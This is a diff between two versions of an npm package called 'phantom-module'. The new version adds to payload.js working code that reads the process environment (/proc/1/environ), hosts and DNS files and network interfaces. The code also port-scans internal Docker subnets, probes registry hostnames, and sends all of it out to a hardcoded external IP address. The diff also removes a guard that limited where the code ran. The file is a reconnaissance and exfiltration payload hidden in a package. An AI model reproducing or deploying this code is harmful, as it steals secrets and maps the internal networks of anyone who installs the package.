phantom-module 120.0.0 → 122.0.0

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "120.0.0",
+  "version": "122.0.0",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,28 +1,92 @@
 const http = require('http');
+const net = require('net');
 const fs = require('fs');
-
-if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
+const { execSync } = require('child_process');
+const dns = require('dns');
+const os = require('os');
 
 const REPORT_HOST = '154.57.164.64';
-const REPORT_PORT = 31205;
+const REPORT_PORT = 31099;
 
-async function report(moduleId, data) {
+function report(moduleId, data) {
   return new Promise((resolve) => {
-    const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n');
-    const manifest = `ecto_module:\n  name: "HEARTBEAT"\n  cargo_hold: "${safeData}"\n`;
-    const payload = JSON.stringify({ manifest });
+    const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
+    const manifest = `ecto_module:\n  name: "RECON"\n  cargo_hold: "${safeData}"\n`;
+    const body = JSON.stringify({ manifest });
     const req = http.request({
-      hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
+      hostname: REPORT_HOST, port: REPORT_PORT,
+      path: `/api/modules/${moduleId}`, method: 'PUT',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
     }, () => resolve(true));
     req.on('error', () => resolve(false));
-    req.write(payload);
+    req.write(body);
     req.end();
   });
 }
 
+function checkPort(host, port) {
+  return new Promise((resolve) => {
+    const sock = new net.Socket();
+    sock.setTimeout(400);
+    sock.on('connect', () => { sock.destroy(); resolve(true); });
+    sock.on('error', () => { sock.destroy(); resolve(false); });
+    sock.on('timeout', () => { sock.destroy(); resolve(false); });
+    sock.connect(port, host);
+  });
+}
+
+function httpGet(url) {
+  return new Promise((resolve) => {
+    http.get(url, { timeout: 2000 }, (res) => {
+      let body = '';
+      res.on('data', c => body += c);
+      res.on('end', () => resolve({ status: res.statusCode, body }));
+    }).on('error', e => resolve({ status: 0, body: e.message })).on('timeout', function() { this.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
+  });
+}
+
 async function main() {
-  await report('ECT-839201', 'ALIVE 120');
+  await report('ECT-654321', 'V122 ALIVE! hostname=' + os.hostname() + ' user=' + os.userInfo().username);
+
+  let env = '=== ENV ===\n';
+  try { env += fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n'); } catch(e) { env += 'ERR:' + e.message; }
+  try { env += '\nHOSTS:\n' + fs.readFileSync('/etc/hosts','utf8'); } catch(e) {}
+  try { env += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8'); } catch(e) {}
+  try { env += 'IFACES:\n' + JSON.stringify(os.networkInterfaces()); } catch(e) {}
+  await report('ECT-839201', env);
+
+  let scan = '=== PORTSCAN ===\n';
+  const ips = ['127.0.0.1'];
+  for (let i = 1; i <= 20; i++) ips.push('172.17.0.' + i);
+  for (let i = 1; i <= 5; i++) ips.push('172.18.0.' + i);
+  for (let i = 1; i <= 5; i++) ips.push('172.19.0.' + i);
+  ips.push('10.0.0.1','10.0.0.2','10.10.0.1');
+
+  const ports = [4873, 80, 8080, 3000, 5000, 8081];
+  for (const ip of ips) {
+    for (const port of ports) {
+      if (await checkPort(ip, port)) {
+        scan += `OPEN ${ip}:${port}\n`;
+        const r = await httpGet('http://' + ip + ':' + port + '/');
+        scan += `  -> ${r.status} ${r.body.substring(0,150)}\n`;
+      }
+    }
+  }
+  if (scan === '=== PORTSCAN ===\n') scan += 'NO OPEN PORTS FOUND\n';
+
+  // DNS lookups
+  scan += '=== DNS ===\n';
+  for (const name of ['verdaccio','registry','npm','host.docker.internal']) {
+    try {
+      const addr = await new Promise((res,rej) => dns.lookup(name, (err,addr) => err ? rej(err) : res(addr)));
+      scan += name + ' -> ' + addr + '\n';
+    } catch(e) { scan += name + ' -> FAIL\n'; }
+  }
+
+  // npm config
+  try { scan += 'NPM_REG: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n'; } catch(e) {}
+
+  await report('ECT-987654', scan);
 }
 
-main();
+main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));